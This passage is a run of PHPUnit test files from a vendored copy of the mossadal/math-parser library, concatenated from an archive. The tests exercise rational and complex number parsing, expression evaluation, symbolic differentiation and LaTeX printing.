testUnknownVariableException() { try { throw new UnknownVariableException('@'); } catch (UnknownVariableException $e) { $this->assertEquals($e->getData(), '@'); $this->assertEquals($e->getVariable(), '@'); } } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Extensions/RationalTest.php000064400000005230147600365160026070 0ustar00assertEquals(3, $x->p); $this->assertEquals(1, $x->q); $this->assertEquals('3', "$x"); $x = Rational::parse('1/2'); $this->assertEquals(1, $x->p); $this->assertEquals(2, $x->q); $this->assertEquals('1/2', "$x"); $x = Rational::parse('-1/2'); $this->assertEquals(-1, $x->p); $this->assertEquals(2, $x->q); $this->assertEquals('-1/2', "$x"); $x = Rational::parse('2/4'); $this->assertEquals(1, $x->p); $this->assertEquals(2, $x->q); $this->assertEquals('1/2', "$x"); $x = Rational::parse('2/4', false); $this->assertEquals(2, $x->p); $this->assertEquals(4, $x->q); $this->assertEquals('2/4', "$x"); } public function testRationalFromStingDivisionByZero() { $this->expectException(DivisionByZeroException::class); $x = Rational::parse('1/0'); } public function testFromFloat() { $x = Rational::fromFloat(0.33333333333); $this->assertEquals('1/3', "$x"); $x = Rational::fromFloat("0.33333333333"); $this->assertEquals('1/3', "$x"); $x = Rational::fromFloat("0,33333333333"); $this->assertEquals('1/3', "$x"); } public function testParseFailure() { $this->expectException(SyntaxErrorException::class); $x = Rational::parse('sdf'); } public function testNan() { $this->expectException(SyntaxErrorException::class); $x = Rational::parse('1/2/3'); } public function testNan2() { $x = new Rational(NAN, 1); $this->assertTrue($x->is_nan()); $x = new Rational(1, 1); $x->q = 0; $this->assertTrue($x->is_nan()); } public function testCanDoAritmethic() { $x = new Rational(1, 2); $y = new Rational(2, 3); $this->assertEquals(new Rational(7, 6), Rational::add($x, $y)); $this->assertEquals(new Rational(-1, 6), Rational::sub($x, $y)); $this->assertEquals(new Rational(1, 3), Rational::mul($x, $y)); $this->assertEquals(new Rational(3, 4), Rational::div($x, $y)); } public function testDivisionByZero() { $x = Rational::parse('1/2'); $y = Rational::parse('0'); $this->expectException(DivisionByZeroException::class); $z = Rational::div($x, $y); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Extensions/MathTest.php000064400000002743147600365160025216 0ustar00assertEquals(4, Math::gcd(8, 12)); $this->assertEquals(4, Math::gcd(12, 8)); $this->assertEquals(1, Math::gcd(12, 7)); // Edge cases $this->assertEquals(5, Math::gcd(0, 5)); $this->assertEquals(0, Math::gcd(0, 0)); $this->assertEquals(-2, Math::gcd(2, -2)); $this->assertEquals(2, Math::gcd(-2, -2)); } public function testLogGamma() { $this->assertEquals(857.9336698, Math::logGamma(200), '', 3e-7); $this->assertEquals(log(120), Math::logGamma(6), '', 3e-9); $this->assertEquals(3.9578139676187, Math::logGamma(5.5), '', 3e-9); } public function testFactorial() { $this->assertEquals(1, Math::Factorial(0)); $this->assertEquals(6, Math::Factorial(3)); $this->assertEquals(362880, Math::Factorial(9)); } public function testSemiFactorial() { $this->assertEquals(1, Math::SemiFactorial(0)); $this->assertEquals(1, Math::SemiFactorial(1)); $this->assertEquals(2, Math::SemiFactorial(2)); $this->assertEquals(3, Math::SemiFactorial(3)); $this->assertEquals(8, Math::SemiFactorial(4)); $this->assertEquals(15, Math::SemiFactorial(5)); $this->assertEquals(48, Math::SemiFactorial(6)); $this->assertEquals(105, Math::SemiFactorial(7)); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Extensions/ComplexTest.php000064400000014373147600365160025736 0ustar00assertEquals(2, $z->r()); $this->assertEquals(5, $z->i()); $this->assertEquals('2+5i', "$z"); // Imaginary part missing coefficient $z = Complex::parse('2+i'); $this->assertEquals(2, $z->r()); $this->assertEquals(1, $z->i()); $this->assertEquals('2+i', "$z"); $z = Complex::parse('2-i'); $this->assertEquals(2, $z->r()); $this->assertEquals(-1, $z->i()); $this->assertEquals('2-i', "$z"); // Real part missing $z = Complex::parse('i'); $this->assertEquals(0, $z->r()); $this->assertEquals(1, $z->i()); $this->assertEquals('i', "$z"); $z = Complex::parse('-i'); $this->assertEquals(0, $z->r()); $this->assertEquals(-1, $z->i()); $this->assertEquals('-i', "$z"); //Purely imaginary $z = Complex::parse('2i'); $this->assertEquals(0, $z->r()); $this->assertEquals(2, $z->i()); $this->assertEquals('2i', "$z"); $z = Complex::parse('-3i'); $this->assertEquals(0, $z->r()); $this->assertEquals(-3, $z->i()); $this->assertEquals('-3i', "$z"); // Imaginary part missing $z = Complex::parse('2'); $this->assertEquals(2, $z->r()); $this->assertEquals(0, $z->i()); $this->assertEquals('2', "$z"); // Rational coefficients $z = Complex::parse('2/3+1/2i'); $this->assertEquals(2 / 3, $z->r()); $this->assertEquals(1 / 2, $z->i()); $this->assertEquals('2/3+1/2i', "$z"); // Real coefficients, (note that numbers that can be identified with small fractions are printed as such) $z = Complex::parse('0.7-0.2i'); $this->assertEquals(0.7, $z->r()); $this->assertEquals(-0.2, $z->i()); $this->assertEquals('7/10-1/5i', "$z"); // Imaginary part 1 or -1 $z = Complex::parse('4+i'); $this->assertEquals(4, $z->r()); $this->assertEquals(1, $z->i()); $this->assertEquals('4+i', "$z"); $z = Complex::parse('4-i'); $this->assertEquals(4, $z->r()); $this->assertEquals(-1, $z->i()); $this->assertEquals('4-i', "$z"); $z = Complex::parse('0.2353578'); $this->assertEquals(0.2353578, $z->r()); $this->assertEquals(0, $z->i()); } public function testCreateComplex() { $z = Complex::create(1, 2); $this->assertEquals(1, $z->r()); $this->assertEquals(2, $z->i()); $z = Complex::create("1", "1/2"); $this->assertEquals(1, $z->r()); $this->assertEquals(0.5, $z->i()); } public function testParseFailure() { $this->expectException(SyntaxErrorException::class); $z = Complex::parse('sdf'); } public function testCreateFailure() { $this->expectException(SyntaxErrorException::class); $z = Complex::create([1, 2], '23'); } public function testCanDoAritmethic() { $z = new Complex(1, 2); $w = new Complex(2, -1); $this->assertEquals(new Complex(3, 1), Complex::add($z, $w)); $this->assertEquals(new Complex(-1, 3), Complex::sub($z, $w)); $this->assertEquals(new Complex(4, 3), Complex::mul($z, $w)); $this->assertEquals(new Complex(0, 1), Complex::div($z, $w)); } public function testCanComputePowers() { $z = new Complex(1, 2); $this->assertEquals(new Complex(-3, 4), Complex::pow($z, 2)); $this->assertEquals(new Complex(-11, -2), Complex::pow($z, 3)); $this->assertEquals(new Complex(1 / 5, -2 / 5), Complex::pow($z, -1)); $this->assertEquals(new Complex(0.2291401860, 0.2381701151), Complex::pow($z, new Complex(0, 1))); } public function testCanComputeTranscendentals() { $z = new Complex(1, 2); $accuracy = 1e-9; $this->assertEquals(new Complex(1.272019650, 0.7861513778), Complex::sqrt($z), 'sqrt', $accuracy); $this->assertEquals(new Complex(3.165778513, 1.959601041), Complex::sin($z), 'sin', $accuracy); $this->assertEquals(new Complex(2.032723007, -3.051897799), Complex::cos($z), 'cos', $accuracy); $this->assertEquals(new Complex(0.03381282608, 1.014793616), Complex::tan($z), 'tan', $accuracy); $this->assertEquals(new Complex(0.03279775553, -0.9843292265), Complex::cot($z), 'cot', $accuracy); $this->assertEquals(new Complex(0.4270785864, 1.528570919), Complex::arcsin($z), 'arcsin', $accuracy); $this->assertEquals(new Complex(1.143717740, -1.528570919), Complex::arccos($z), 'arccos', $accuracy); $this->assertEquals(new Complex(1.338972522, 0.4023594781), Complex::arctan($z), 'arctan', $accuracy); $this->assertEquals(new Complex(0.2318238045, -0.4023594781), Complex::arccot($z), 'arccot', $accuracy); $this->assertEquals(new Complex(-1.131204384, 2.471726672), Complex::exp($z), 'exp', $accuracy); $this->assertEquals(new Complex(0.8047189562, 1.107148718), Complex::log($z), 'log', $accuracy); $this->assertEquals(new Complex(-0.4890562590, 1.403119251), Complex::sinh($z), 'sinh', $accuracy); $this->assertEquals(new Complex(-0.6421481247, 1.068607421), Complex::cosh($z), 'cosh', $accuracy); $this->assertEquals(new Complex(1.166736257, -0.2434582012), Complex::tanh($z), 'tanh', $accuracy); $this->assertEquals(new Complex(1.469351744, 1.063440024), Complex::arsinh($z), 'arsinh', $accuracy); $this->assertEquals(new Complex(1.528570919, 1.143717740), Complex::arcosh($z), 'arcosh', $accuracy); $this->assertEquals(new Complex(0.1732867951, 1.178097245), Complex::artanh($z), 'artanh', $accuracy); } public function testCanComputeNonAnalytic() { $z = new Complex(1, 2); $accuracy = 1e-9; $this->assertEquals(sqrt(5), $z->abs(), 'abs', $accuracy); $this->assertEquals(1, $z->r(), 'r', $accuracy); $this->assertEquals(2, $z->i(), 'i', $accuracy); $this->assertEquals(1.107148718, $z->arg(), 'arg', $accuracy); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Interpreting/ComplexEvaluatorTest.php000064400000022776147600365160030142 0ustar00parser = new ComplexMathParser(); $this->variables = ['x' => Complex::parse('1+i'), 'y' => Complex::parse('3+2i')]; $this->evaluator = new ComplexEvaluator($this->variables); } private function evaluate($f) { $this->evaluator->setVariables($this->variables); return $f->accept($this->evaluator); } private function assertResult($f, $x) { $value = $this->evaluate($this->parser->parse($f)); if (!($x instanceof Complex)) { $x = Complex::parse($x); } $this->assertEquals($value->r(), $x->r()); $this->assertEquals($value->i(), $x->i()); } private function assert_NAN($f) { $value = $this->evaluate($this->parser->parse($f)); $this->assertTrue($value->is_nan()); } public function testCanEvaluateNumber() { $this->assertResult('3', new Complex(3, 0)); $this->assertResult('-2', new Complex(-2, 0)); $this->assertResult('1+i', new Complex(1, 1)); } public function testCanEvaluateConstant() { $this->assertResult('pi', pi()); $this->assertResult('i', new Complex(0, 1)); $f = new ConstantNode('sdf'); $this->expectException(UnknownConstantException::class); $value = $this->evaluate($f); } public function testCanEvaluateVariable() { $this->assertResult('x', $this->variables['x']); $this->expectException(UnknownVariableException::class); $f = $this->parser->parse("q"); $value = $this->evaluate($f); } public function testCanEvaluateAdditiion() { $x = $this->variables['x']; $this->assertResult('3+x', Complex::add(3, $x)); $this->assertResult('3+x+1', Complex::add(4, $x)); } public function testCanEvaluateSubtraction() { $x = $this->variables['x']; $this->assertResult('3-x', Complex::sub(3, $x)); $this->assertResult('3-x-1', Complex::sub(2, $x)); } public function testCanEvaluateUnaryMinus() { $this->assertResult('-x', Complex::mul(-1, $this->variables['x'])); } public function testCanEvaluateMultiplication() { $x = $this->variables['x']; $this->assertResult('3*x', Complex::mul(3, $x)); $this->assertResult('3*x*2', Complex::mul(6, $x)); } public function testCanEvaluateDivision() { $x = $this->variables['x']; $this->assertResult('3/x', Complex::div(3, $x)); $this->assertResult('20/x/5', Complex::div(4, $x)); } public function testCanEvaluateExponentiation() { $x = $this->variables['x']; $this->assertResult('x^3', Complex::pow($x, 3)); $this->assertResult('x^x^x', Complex::pow($x, Complex::pow($x, $x))); $this->assertResult('(-1)^(-1)', Complex::parse(-1)); } public function testCantRaise0To0() { $this->expectException(DivisionByZeroException::class); $this->assertResult('0^0', 1); } public function testCanEvaluateSine() { $this->assertResult('sin(0)', 0); $this->assertResult('sin(pi/2)', 1); $this->assertResult('sin(pi/6)', 0.5); $this->assertResult('sin(x)', Complex::sin($this->variables['x'])); } public function testCanEvaluateCosine() { $this->assertResult('cos(pi)', -1); $this->assertResult('cos(pi/2)', 0); $this->assertResult('cos(pi/3)', 0.5); $this->assertResult('cos(x)', Complex::cos($this->variables['x'])); } public function testCanEvaluateTangent() { $this->assertResult('tan(pi)', 0); $this->assertResult('tan(pi/4)', 1); $this->assertResult('tan(x)', Complex::tan($this->variables['x'])); } public function testCanEvaluateCotangent() { $this->assertResult('cot(pi/2)', 0); $this->assertResult('cot(pi/4)', 1); $this->assertResult('cot(x)', Complex::div(1, Complex::tan($this->variables['x']))); } public function testCanEvaluateArcsin() { $this->assertResult('arcsin(1)', pi() / 2); $this->assertResult('arcsin(1/2)', pi() / 6); $this->assertResult('arcsin(x)', Complex::arcsin($this->variables['x'])); } public function testCanEvaluateArccos() { $this->assertResult('arccos(0)', pi() / 2); $this->assertResult('arccos(1/2)', pi() / 3); $this->assertResult('arccos(x)', Complex::arccos($this->variables['x'])); } public function testCanEvaluateArctan() { $this->assertResult('arctan(1)', pi() / 4); $this->assertResult('arctan(x)', Complex::arctan($this->variables['x'])); } public function testCanEvaluateArccot() { $this->assertResult('arccot(1)', pi() / 4); $this->assertResult('arccot(x)', Complex::arccot($this->variables['x'])); } public function testCanEvaluateExp() { $this->assertResult('exp(x)', Complex::exp($this->variables['x'])); $this->assertResult('e^x', Complex::exp($this->variables['x'])); } public function testCanEvaluateLog() { $this->assertResult('log(-1)', new Complex(0, pi())); $this->assertResult('log(x)', Complex::log($this->variables['x'])); } public function testCanEvaluateLn() { $this->assertResult('ln(3)', new Complex(log(3), 0.0)); $this->expectException(\UnexpectedValueException::class); $this->assertResult('ln(x)', Complex::log($this->variables['x'])); } public function testCanEvaluateLog10() { $this->assertResult('lg(-1)', new Complex(0, pi() / log(10))); } public function testCanEvaluateSqrt() { $this->assertResult('sqrt(-1)', new Complex(0, 1)); $this->assertResult('sqrt(x)', Complex::sqrt($this->variables['x'])); } public function testCanEvaluateAbs() { $x = $this->variables['x']; $this->assertResult('abs(x)', $x->abs()); $this->assertResult('abs(i)', 1); } public function testCanEvaluateArg() { $x = $this->variables['x']; $this->assertResult('arg(x)', $x->arg()); $this->assertResult('arg(1+i)', pi() / 4); $this->assertResult('arg(-i)', -pi() / 2); } public function testCanEvaluateConj() { $x = $this->variables['x']; $this->assertResult('conj(x)', new Complex($x->r(), -$x->i())); } public function testCanEvaluateRe() { $y = $this->variables['y']; $this->assertResult('re(y)', $y->r()); } public function testCanEvaluateIm() { $y = $this->variables['y']; $this->assertResult('im(y)', $y->i()); } public function testCanEvaluateHyperbolicFunctions() { $x = $this->variables['x']; $this->assertResult('sinh(0)', 0); $this->assertResult('sinh(x)', Complex::sinh($x)); $this->assertResult('cosh(0)', 1); $this->assertResult('cosh(x)', Complex::cosh($x)); $this->assertResult('tanh(0)', 0); $this->assertResult('tanh(x)', Complex::tanh($x)); $this->assertResult('coth(x)', Complex::div(1, Complex::tanh($x))); $this->assertResult('arsinh(0)', 0); $this->assertResult('arsinh(x)', Complex::arsinh($x)); $this->assertResult('arcosh(1)', 0); $this->assertResult('arcosh(3)', Complex::arcosh(3)); $this->assertResult('arcosh(x)', Complex::arcosh($x)); $this->assertResult('artanh(0)', 0); $this->assertResult('artanh(x)', Complex::artanh($x)); } public function testCannotEvalauateUnknownFunction() { $f = new FunctionNode('sdf', new NumberNode(1)); $this->expectException(UnknownFunctionException::class); $value = $this->evaluate($f); } public function testCannotEvaluateUnknownOperator() { $node = new ExpressionNode(new NumberNode(1), '+', new VariableNode('x')); // We need to cheat here, since the ExpressionNode contructor already // throws an UnknownOperatorException when called with, say '%' $node->setOperator('%'); $this->expectException(UnknownOperatorException::class); $this->evaluate($node); } public function testCanCreateTemporaryUnaryMinusNode() { $node = new ExpressionNode(null, '~', null); $this->assertEquals($node->getOperator(), '~'); $this->assertNull($node->getRight()); $this->assertNull($node->getLeft()); $this->assertEquals($node->getPrecedence(), 25); } public function testUnknownException() { $this->expectException(UnknownOperatorException::class); $node = new ExpressionNode(null, '%', null); } public function testEdgeCases() { $this->assert_NAN('log(0)'); $this->assert_NAN('arctan(i)'); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Interpreting/DifferentiatorTest.php000064400000016230147600365160027601 0ustar00parser = new RationalMathParser(); $this->differentiator = new Differentiator('x'); } public function diff($node) { $derivative = $node->accept($this->differentiator); return $derivative; } private function assertNodesEqual($node1, $node2) { $printer = new TreePrinter(); $message = "Node1: " . $node1->accept($printer) . "\nNode 2: " . $node2->accept($printer) . "\n"; $this->assertTrue($node1->compareTo($node2), $message); } private function assertResult($f, $df) { $fnc = $this->parser->parse($f); $derivative = $this->parser->parse($df); $this->assertNodesEqual($this->diff($fnc), $derivative); // Check that Differentior leaves the original node unchanged. $newAST = $this->parser->parse($f); $this->assertNodesEqual($fnc, $newAST); } public function testCanDifferentiateVariable() { $this->assertResult('x', '1'); $this->assertResult('y', '0'); } public function testCanDifferentiateConstant() { $this->assertResult('pi', '0'); $this->assertResult('pi*e', '0'); $this->assertResult('7', '0'); $this->assertResult('1+3', '0'); $this->assertResult('5*2', '0'); $this->assertResult('1/2', '0'); $this->assertResult('2^2', '0'); $this->assertResult('-2', '0'); } public function testCanDifferentiateExp() { $this->assertResult('exp(x)', 'exp(x)'); $this->assertResult('exp(x^2)', '2*x*exp(x^2)'); } public function testCanDifferentiateLog() { $this->assertResult('log(x)', '1/x'); } public function testCanDifferentiateLn() { $this->assertResult('ln(x)', '1/x'); } public function testCanDifferentiateLog10() { $this->assertResult('log10(x)', '1/(ln(10)x)'); } public function testCanDifferentiateSin() { $this->assertResult('sin(x)', 'cos(x)'); } public function testCanDifferentiateCos() { $this->assertResult('cos(x)', '-sin(x)'); } public function testCanDifferentiateTan() { $this->assertResult('tan(x)', '1+tan(x)^2'); } public function testCanDifferentiateCot() { $this->assertResult('cot(x)', '-1-cot(x)^2'); } public function testCanDifferentiateArcsin() { $this->assertResult('arcsin(x)', '1/sqrt(1-x^2)'); } public function testCanDifferentiateArccos() { $this->assertResult('arccos(x)', '(-1)/sqrt(1-x^2)'); } public function testCanDifferentiateArctan() { $this->assertResult('arctan(x)', '1/(1+x^2)'); $this->assertResult('arctan(x^3)', '(3x^2)/(1+x^6)'); } public function testCanDifferentiateArccot() { $this->assertResult('-arccot(x)', '1/(1+x^2)'); } public function testCanDifferentiateSqrt() { $this->assertResult('sqrt(x)', '1/(2sqrt(x))'); } public function testCanDifferentiateSum() { $this->assertResult('x+sin(x)', '1+cos(x)'); $this->assertResult('sin(x)+y', 'cos(x)'); $this->assertResult('y+sin(x)', 'cos(x)'); } public function testCanDifferentiateDifference() { $this->assertResult('x-sin(x)', '1-cos(x)'); $this->assertResult('sin(x)-y', 'cos(x)'); $this->assertResult('sin(x)-sin(x)', '0'); } public function testCanDifferentiateProduct() { $this->assertResult('x*sin(x)', 'x*cos(x)+sin(x)'); } public function testCanDifferentiateExponent() { $this->assertResult('x^1', '1'); $this->assertResult('x^2', '2x'); $this->assertResult('x^3', '3x^2'); $this->assertResult('x^x', 'x^x*(ln(x)+1)'); $this->assertResult('x^(1/2)', '(1/2)*x^(-1/2)'); $this->assertResult('e^x', 'e^x'); $this->assertResult('e^(x^2)', '2*x*e^(x^2)'); $this->assertResult('sin(x)^cos(x)', 'sin(x)^cos(x)*((-sin(x))*ln(sin(x))+cos(x)*cos(x)/sin(x))'); } public function testCanDifferentiateQuotient() { $this->assertResult('x/sin(x)', '(sin(x)-x*cos(x))/sin(x)^2'); $this->assertResult('x/1', '1'); // The parser catches 'x/0', so create the test AST directly $f = new ExpressionNode(new VariableNode('x'), '/', 0); $this->expectException(DivisionByZeroException::class); $this->diff($f); } public function testCanDifferentiateComposite() { $this->assertResult('sin(sin(x))', 'cos(x)*cos(sin(x))'); } public function testCanDifferentiateUnaryMinus() { $this->assertResult('-x', '-1'); } public function testCannotDifferentiateUnknownFunction() { $node = new FunctionNode('erf', new VariableNode('x')); $this->expectException(UnknownFunctionException::class); $this->diff($node); } public function testCannotDifferentiateUnknownOperator() { $node = new ExpressionNode(new NumberNode(1), '+', new VariableNode('x')); // We need to cheat here, since the ExpressionNode contructor already // throws an UnknownOperatorException when called with, say '%' $node->setOperator('%'); $this->expectException(UnknownOperatorException::class); $this->diff($node); } public function testCanDifferentiateHyperbolicFunctions() { $this->assertResult('sinh(x)', 'cosh(x)'); $this->assertResult('cosh(x)', 'sinh(x)'); $this->assertResult('tanh(x)', '1-tanh(x)^2'); $this->assertResult('coth(x)', '1-coth(x)^2'); $this->assertResult('arsinh(x)', '1/sqrt(x^2+1)'); $this->assertResult('arcosh(x)', '1/sqrt(x^2-1)'); $this->assertResult('artanh(x)', '1/(1-x^2)'); $this->assertResult('arcoth(x)', '1/(1-x^2)'); } public function testCantDifferentiateCeil() { $f = $this->parser->parse('ceil(x)'); $this->expectException(UnknownFunctionException::class); $this->diff($f); } public function testCantDifferentiateFloor() { $f = $this->parser->parse('floor(x)'); $this->expectException(UnknownFunctionException::class); $this->diff($f); } public function testCantDifferentiateRound() { $f = $this->parser->parse('round(x)'); $this->expectException(UnknownFunctionException::class); $this->diff($f); } public function testCantDifferentiateSgn() { $f = $this->parser->parse('sgn(x)'); $this->expectException(UnknownFunctionException::class); $this->diff($f); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Interpreting/RationalEvaluatorTest.php000064400000020724147600365160030273 0ustar00parser = new RationalMathParser(); $this->variables = ['x' => '1/2', 'y' => '2/3']; $this->evaluator = new RationalEvaluator($this->variables); } private function evaluate($f) { return $f->accept($this->evaluator); } private function assertResult($f, $x) { $this->evaluator->setVariables($this->variables); $value = $this->evaluate($this->parser->parse($f)); $this->assertEquals($value, $x); } public function testCanEvaluateNumber() { $this->assertResult('3', new RationalNode(3, 1)); $this->assertResult('-2', new RationalNode(-2, 1)); $this->assertResult('1/2', new RationalNode(1, 2)); } public function testCantEvaluateFloat() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('2.5', 2.5); } public function testCanEvaluateConstant() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('pi', pi()); } public function testUnknownConstant() { $f = new ConstantNode('sdf'); $this->expectException(UnknownConstantException::class); $value = $this->evaluate($f); } public function testCanEvaluateVariable() { $this->assertResult('x', $this->evaluator->parseRational($this->variables['x'])); $this->expectException(UnknownVariableException::class); $f = $this->parser->parse("q"); $value = $this->evaluate($f); } public function testCanEvaluateAdditiion() { $this->assertResult('3+x', new RationalNode(7, 2)); $this->assertResult('3+x+1', new RationalNode(9, 2)); } public function testCanEvaluateSubtraction() { $this->assertResult('3-x', new RationalNode(5, 2)); $this->assertResult('3-x-1', new RationalNode(3, 2)); } public function testCanEvaluateUnaryMinus() { $this->assertResult('-x', new RationalNode(-1, 2)); } public function testCanEvaluateMultiplication() { $this->assertResult('3*x', new RationalNode(3, 2)); $this->assertResult('3*x*2', new RationalNode(3, 1)); } public function testCanEvaluateDivision() { $this->assertResult('3/x', new RationalNode(6, 1)); $this->assertResult('20/x/5', new RationalNode(8, 1)); } public function testCannotDivideByZero() { $f = new ExpressionNode(new IntegerNode(3), '/', new IntegerNode(0)); $this->expectException(DivisionByZeroException::class); $value = $this->evaluate($f); } public function testCanEvaluateExponentiation() { $this->assertResult('x^3', new RationalNode(1, 8)); $this->assertResult('x^(-3)', new RationalNode(8, 1)); $this->assertResult('(-x)^3', new RationalNode(-1, 8)); $this->assertResult('(-x)^(-3)', new RationalNode(-8, 1)); $this->assertResult('(-1)^(-1)', new RationalNode(-1, 1)); $this->assertResult('4^(-3/2)', new RationalNode(1, 8)); } public function testCantRaise0To0() { $this->expectException(DivisionByZeroException::class); $this->assertResult('0^0', 1); } public function testExponentiationExceptions() { $this->expectException(DivisionByZeroException::class); $f = $this->parser->parse('0^(-1)'); $value = $this->evaluate($f); } public function testCanEvaluateSine() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('sin(x)', 0); } public function testCanEvaluateCosine() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('cos(x)', 0); } public function testCanEvaluateTangent() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('tan(x)', 0); } public function testCanEvaluateCotangent() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('cot(x)', 0); } public function testCanEvaluateArcsin() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('arcsin(x)', 0); } public function testCanEvaluateArccos() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('arccos(x)', 0); } public function testCanEvaluateArctan() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('arctan(x)', 0); } public function testCanEvaluateArccot() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('arccot(x)', 0); } public function testCanEvaluateExp() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('exp(x)', 0); } public function testCanEvaluateLog() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('log(x)', 0); } public function testCanEvaluateLog10() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('log10(x)', 0); } public function testCanEvaluateSqrt() { $this->assertResult('sqrt(1/4)', new RationalNode(1, 2)); $this->assertResult('sqrt(4)', new RationalNode(2, 1)); $this->expectException(\UnexpectedValueException::class); $this->assertResult('sqrt(1/2)', 0); $this->assertResult('sqrt(225)', new RationalNode(15, 1)); $this->assertResult('sqrt(7^6)', new RationalNode(7 * 7 * 7, 1)); } public function testCanEvaluateHyperbolicFunctions() { $this->expectException(\UnexpectedValueException::class); $this->assertResult('sinh(x)', 0); } public function testCannotEvalauateUnknownFunction() { $f = new FunctionNode('sdf', new RationalNode(1, 1)); $this->expectException(UnknownFunctionException::class); $value = $this->evaluate($f); } public function testCannotEvaluateUnknownOperator() { $node = new ExpressionNode(new RationalNode(1, 1), '+', new VariableNode('x')); // We need to cheat here, since the ExpressionNode contructor already // throws an UnknownOperatorException when called with, say '%' $node->setOperator('%'); $this->expectException(UnknownOperatorException::class); $this->evaluate($node); } public function testUnknownException() { $this->expectException(UnknownOperatorException::class); $node = new ExpressionNode(null, '%', null); } public function testParseRational() { $node = $this->evaluator->parseRational('1'); $this->assertEquals($node, new RationalNode(1, 1)); $this->expectException(\UnexpectedValueException::class); $this->evaluator->parseRational('1/2/3'); } public function testParseRational2() { $this->expectException(\UnexpectedValueException::class); $this->evaluator->setVariables(['x' => 'u/q']); } public function testCanSetVariables() { $this->evaluator->setVariables(['x' => '1', 'y' => new RationalNode(2, 3)]); $value = $this->evaluate($this->parser->parse('x')); $this->assertEquals($value, new RationalNode(1, 1)); $value = $this->evaluate($this->parser->parse('y')); $this->assertEquals($value, new RationalNode(2, 3)); } public function testCanFactor() { $factors = $this->evaluator->ifactor(51); $this->assertEquals($factors, [3 => 1, 17 => 1]); $factors = $this->evaluator->ifactor(25 * 13); $this->assertEquals($factors, [5 => 2, 13 => 1]); } } modules/formulas/vendor/mossadal/math-parser/tests/MathParser/Interpreting/LaTeXPrinterTest.php000064400000015506147600365160027162 0ustar00parser = new RationalMathParser(); $this->printer = new LaTeXPrinter(); } private function assertResult($input, $output) { $node = $this->parser->parse($input); $result = $node->accept($this->printer); $this->assertEquals($result, $output); } public function testCanPrintVariable() { $this->assertResult('x', 'x'); } public function testCanPrintNumber() { $this->assertResult('4', '4'); $this->assertResult('-2', '-2'); $this->assertResult('1.5', '1.5'); $this->assertResult('3/4', '\frac{3}{4}'); } public function testCanPrintUnaryMinus() { $this->assertResult('-x', '-x'); $this->assertResult('sin(-x)', '\sin(-x)'); $this->assertResult('(-1)^k', '(-1)^k'); $this->assertResult('-(x-1)', '-(x-1)'); $this->assertResult('-(2/3)', '\frac{-2}{3}'); } public function testCanPrintSums() { $this->assertResult('x+y+z', 'x+y+z'); $this->assertResult('x+y-z', 'x+y-z'); $this->assertResult('x-y-z', 'x-y-z'); $this->assertResult('x-y+z', 'x-y+z'); $this->assertResult('-x-y-z', '-x-y-z'); $this->assertResult('x+(-y)', 'x+(-y)'); $this->assertResult('x+y+z', 'x+y+z'); $this->assertResult('1+2x+3x^2', '1+2x+3x^2'); } public function testCanPrintProducts() { $this->assertResult('xyz', 'xyz'); $this->assertResult('xy/z', '\frac{xy}{z}'); $this->assertResult('x/yz', '\frac{x}{y}z'); $this->assertResult('x/y/z', '\frac{\frac{x}{y}}{z}'); } public function testCanPrintExponentiation() { $this->assertResult('x^y^z', 'x^{y^z}'); $this->assertResult('(x^y)^z', 'x^{yz}'); $this->parser->setSimplifying(false); $this->assertResult('x^y^z', 'x^{y^z}'); $this->assertResult('(x^y)^z', '{x^y}^z'); $this->parser->setSimplifying(true); } public function testCanAddBraces() { $node = new IntegerNode(4); $output = $this->printer->bracesNeeded($node); $this->assertEquals($output, '4'); $node = new IntegerNode(-2); $output = $this->printer->bracesNeeded($node); $this->assertEquals($output, '{-2}'); $node = new IntegerNode(12); $output = $this->printer->bracesNeeded($node); $this->assertEquals($output, '{12}'); $node = new VariableNode('x'); $output = $this->printer->bracesNeeded($node); $this->assertEquals($output, 'x'); $node = new ConstantNode('pi'); $output = $this->printer->bracesNeeded($node); $this->assertEquals($output, '\pi{}'); $node = $this->parser->parse('x+1'); $output = $this->printer->bracesNeeded($node); $this->assertEquals($output, '{x+1}'); } public function testCanPrintDivision() { $this->assertResult('1/2', '\frac{1}{2}'); $this->assertResult('x/y', '\frac{x}{y}'); $this->assertResult('4/2', '2'); $this->assertResult('1/(sin(x)^2)', '\frac{1}{\sin(x)^2}'); } public function testCanPrintMultiplication() { $this->assertResult('sin(x)*x', '\sin(x)\cdot x'); $this->assertResult('2*(x+4)', '2(x+4)'); $this->assertResult('(x+1)*(x+2)', '(x+1)(x+2)'); $this->parser->setSimplifying(false); $this->assertResult('2*3', '2\cdot 3'); $this->assertResult('2*x', '2x'); $this->assertResult('2*3^2', '2\cdot 3^2'); $this->assertResult('2*(1/2)^2', '2(\frac{1}{2})^2'); $this->parser->setSimplifying(true); } public function testCanPrintFunctions() { $this->assertResult('sin(x)', '\sin(x)'); $this->assertResult('cos(x)', '\cos(x)'); $this->assertResult('tan(x)', '\tan(x)'); $this->assertResult('log(x)', '\log(x)'); $this->assertResult('log(2x)', '\log(2x)'); $this->assertResult('log(2+x)', '\log(2+x)'); $this->assertResult('ln(x)', '\ln(x)'); $this->assertResult('ln(2x)', '\ln(2x)'); $this->assertResult('ln(2+x)', '\ln(2+x)'); $this->assertResult('sqrt(x)', '\sqrt{x}'); $this->assertResult('sqrt(x^2)', '\sqrt{x^2}'); $this->assertResult('asin(x)', '\arcsin(x)'); $this->assertResult('arsinh(x)', '\operatorname{arsinh}(x)'); } /** * @test */ public function it_can_print_exponential_functions() { $this->assertResult('exp(x)', 'e^x'); $this->assertResult('exp(2)', 'e^2'); 